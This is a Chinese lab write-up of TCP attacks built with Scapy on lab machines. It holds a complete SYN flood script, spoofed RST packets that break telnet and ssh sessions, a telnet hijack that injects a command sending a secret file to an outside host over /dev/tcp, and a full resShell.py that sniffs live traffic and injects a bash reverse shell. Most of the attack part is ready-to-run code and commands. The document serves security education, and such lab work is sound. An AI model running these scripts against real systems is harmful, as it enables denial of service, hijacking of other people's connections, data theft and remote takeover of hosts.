scapy实现TCP Attacks

实验目的

  • Task1. SYN Flooding Attack
    用Scapy构造SYN包,观察攻击效果,解释现象及原因。
  • Task2.TCP RST Attacks on telnet and ssh Connections
    应用Scapy,解释需要构造报文中的关键数据及其值获取
  • Task3.TCP Session Hijacking
    回显主机上的文件(自行取)内容。在受害机上Wireshark观察劫持后,与服务器的TCP通信信息,解释原因。
  • Task4.Creating Reverse Shell using TCP Hijacking
    将受害主机外壳反弹至攻击机

实验过程

实验配置

攻击机: kali-linux-2019 192.168.2.207

靶机A(server): SEEDUbuntu16 192.168.2.101

靶机B(client): SEEDUbuntu16 192.168.2.121

SYN Flooding Attack

实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import random
import logging
import threading
import multiprocessing
from scapy.all import *

logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

cpu_count = multiprocessing.cpu_count()
total_packets = 0


def send_syn_packet(ip, port):
ip_layer = IP()
tcp_layer = TCP()

ip_layer.src = '%i.%i.%i.%i' %(
random.randint(1, 254),
random.randint(1, 254),
random.randint(1, 254),
random.randint(1, 254)) #随机IP地址
tcp_layer.sport = random.randint(1, 65535)
#随机端口
tcp_layer.flags = 'S' #flag设置为syn

ip_layer.dst = ip
tcp_layer.dport = port

send(ip_layer / tcp_layer, verbose=0)
#verbose=0表示不输出中间结果


def syn_flood(ip, port):
global total_packets

while True: #循环发送
send_syn_packet(ip, port)
total_packets += 1

if total_packets % 100 == 0:
print('Total packets: %i' % total_packets)


def main():
if len(sys.argv) != 4:
print('%s <Interface> <Target IP> <Target port>' % sys.argv[0])
sys.exit(1)

print('Flooding is started...')

conf.iface = sys.argv[1] #网卡接口

#多线程提高发送速度
for i in range(cpu_count):
threading.Thread(target=syn_flood,
args=(sys.argv[2], int(sys.argv[3]))).start()


if __name__ == '__main__':
main()

对于靶机A:

1
2
sudo sysctl -w net.ipv4.tcp_syncookies=0  #关闭syn cookies防御机制
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=128 #设置tcp连接队列长度backlog为小数值,使实验现象更明显

kali攻击机运行synflood.py,攻击靶机A的23端口

1
python3 synflood.py eth0 192.168.2.101 23

image-20200331202311177

kali攻击机抓包:

image-20200331202407197

靶机A抓包:

image-20200331202523171

查看端口连接:

1
netstat -tna

可以看出有大量的SYN_RECV状态

image-20200331202739638

靶机B 对 靶机A发起TCP连接

image-20200331203147266

无法连接

现象及原因解释

TCP有限状态机图

img

当靶机A收到SYN后,会进入SYN_RCVD状态,并发送SYN,ACK等待攻击机的ACK(第三次握手),处于半连接状态

image-20200401105811910

然而kali攻击机向靶机A发送大量的SYN包,使靶机A打开大量的半开连接,分配TCB缓存,从而消耗大量的内存资源,同时也使得正常的连接(靶机B向靶机A发起的telnet)请求无法被响应,造成了DOS攻击。

关闭攻击机的SYN Flood攻击
再次发起连接

image-20200331203254919

连接成功

TCP RST Attacks

telnet Connections

靶机B向靶机A发起telnet连接

image-20200331212705785

A开启wireshark接受信息,最后一个tcp报文如下图

image-20200331213144875

攻击机用scapy伪造如下RST报文,与最后一个报文各项数据均相同,仅有flags为’R’

1
2
3
4
5
>>>IPLayer=IP(src='192.168.2.121',dst='192.168.2.101')
>>>TCPLayer=TCP(sport=39966,dport=23,flags='R',seq=3662400054)
>>>pkt=IPLayer/TCPLayer
>>>ls(pkt)
>>>send(pkt,verbose=0)

image-20200331214820722

259为攻击机发送给靶机A的报文

当靶机B再次往telnet键入信息

靶机A接收到了报文260,但是A发送了RST报文261强制关闭连接

靶机B出现如下结果

image-20200331215229928

攻击成功

ssh Connections

用同样的方法断开ssh连接

靶机B向靶机A发起连接

image-20200331215624510

靶机A的末报文

image-20200331215813657

1
2
3
4
5
>>>IPLayer=IP(src='192.168.2.121',dst='192.168.2.101')
>>>TCPLayer=TCP(sport=60890,dport=22,flags='R',seq=34032852)
>>>pkt=IPLayer/TCPLayer
>>>ls(pkt)
>>>send(pkt,verbose=0)

攻击机向靶机A发送了RST报文101

image-20200331220033722

当靶机B再次往ssh键入信息

靶机A接收到了报文103,但是A发送了RST报文104强制关闭连接

靶机B出现如下结果

image-20200331220316492

攻击成功

TCP Session Hijacking

使用netcat实现

靶机A下有个secret文件

image-20200331221502518

靶机B输入

1
nc -lv 9090

image-20200331221625653

靶机A输入

1
cat /home/seed/secret  > /dev/tcp/192.168.2.121/9090

之后靶机B显示

image-20200331223556494

信息被重定向至靶机B的9090端口

利用上述原理通过scapy劫持靶机B与A之间的telnet通信

靶机B向靶机A发起telnet连接,在A端收到的最后一个TCP报文如下

image-20200331225425727

靶机B首先打开9090端口,新开终端键入

1
nc -lv 9090

攻击机伪造如下报文

1
2
3
4
5
6
>>>IPLayer=IP(src='192.168.2.121',dst='192.168.2.101')
>>>TCPLayer=TCP(sport=39976,dport=23,flags='A',seq=2852050381,ack=3692652982)
>>>Data='\r cat /home/seed/secret > /dev/tcp/192.168.2.121/9090\r'
>>>pkt=IPLayer/TCPLayer/Data
>>>ls(pkt)
>>>send(pkt,verbose=0)

image-20200331225630605

发送后

靶机A产生如下报文

image-20200331225748368

在靶机B处得到回显数据

image-20200331225702790

此时AB连接被迫断开

也可以重定向到kali攻击机

kali攻击机打开9090端口

1
nc -lvp 9090

靶机A最后一个TCP报文

image-20200331233710053

1
2
3
4
5
6
>>>IPLayer=IP(src='192.168.2.121',dst='192.168.2.101')
>>>TCPLayer=TCP(sport=39982,dport=23,flags='A',seq=2413686932,ack=1131011684)
>>>Data='\r cat /home/seed/secret > /dev/tcp/192.168.2.207/9090\r'
>>>pkt=IPLayer/TCPLayer/Data
>>>ls(pkt)
>>>send(pkt,verbose=0)

image-20200331233856924

kali攻击机回显

image-20200331233928089

原因解释

本次实验的TCP会话劫持是利用中间人的方法

img

img

通过了解服务机的最后一个接收的ACK报文,攻击者(kali)伪造相同seq和ack的相似TCP报文, 使得服务器认为是正常的ACK报文并接收。 如果这个连接是Telnet会话,攻击者(kali攻击机)可以在该会话中注入恶意命令,导致受害者(服务机靶机A)执行恶意命令。通过重定向命令将受害者(靶机A)的命令执行内容重定向到攻击机,完成攻击。

Creating Reverse Shell using TCP Hijacking

此实验仅需将Data换成'\r nohup /bin/bash -i > /dev/tcp/' + localIP + '/9090 2>&1 0<&1\r',其中localIP是kali机的IP,/bin/bash是linux机上的shell应用。

让kali攻击机作为中间人自动获取靶机A的ACK报文来伪造发送ACK报文,自动获得反弹shell。

resShell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import threading
from threading import Thread
import netifaces
from scapy.all import *

__author__ = 'Asymptotic_freedom'

victimIP = None
localIP = None
localPort = None
haveSent = False


def help_text():
print(
"\nUsage:\n python3 resShell.py <Interface> <Target IP> <Local port>\n"
)
sys.exit()


def exploit():
try:
sniff(filter='tcp', prn=resShell)
except KeyboardInterrupt:
exit(0)


def resShell(pkt):
'''反向shell,仅发送一次ack包'''
global localIP, victimIP, localPort, haveSent
ipsrc = pkt[IP].src
ipdst = pkt[IP].dst
if haveSent or ipdst != victimIP or pkt[
TCP].flags != 'A' or ipsrc == localIP:
return
haveSent = True
print("Have sent the hijacking packet: %s -> %s ..." % (ipsrc, ipdst))
tsp = pkt[TCP].sport
tdp = pkt[TCP].dport
tseq = pkt[TCP].seq
tack = pkt[TCP].ack
IPLayer = IP(src=ipsrc, dst=ipdst)
TCPLayer = TCP(sport=tsp, dport=tdp, flags='A', seq=tseq, ack=tack)
Data = '\r nohup /bin/bash -i > /dev/tcp/' + localIP + '/' + localPort + ' 2>&1 0<&1 \r'
pkt = IPLayer / TCPLayer / Data
send(pkt, verbose=0)


def main():
global interface, victimIP, localPort, localIP
if len(sys.argv) != 4:
help_text()
interface = sys.argv[1]
victimIP = sys.argv[2]
localPort = sys.argv[3]
localIP = netifaces.ifaddresses(interface)[2][0]['addr']
#创建一个线程运行exploit()函数
th = threading.Thread(target=exploit)
th.setDaemon(True) #把当前进程设置为守护线程,主线程执行完毕,子线程均停止
th.start()
#主线程运行
os.system("nc -lvp " + localPort) #开启监听端口


if __name__ == '__main__':
main()

首先客户机靶机B向靶机A发起telnet连接,成功建立连接后运行python程序,输入相关数据后靶机B往telnet键入任意字符。

image-20200401165154685

靶机B键入任意字符后立即“停止响应”,kali攻击机反弹回靶机A的shell

靶机A的抓包情况

image-20200401165611070

当反弹shell生成后,靶机B的telnet的连接便失去了正常通信

但是当靶机B关掉当前未响应的终端,kali攻击机的反弹shell便马上断开连接

image-20200401165239243

实验总结

本次实验复现了伪造TCP报文的各种攻击,其中反弹shell的脚本存在缺陷:一是无法在后台运行(使用nohup &依然不行),当靶机B断开连接后shell马上断开;二是shell连接未能实现匿名IP连接;三是只有靶机A、B已经建立连接后才可以获得反向shell,先启动python脚本再建立连接并不能成功建立连接。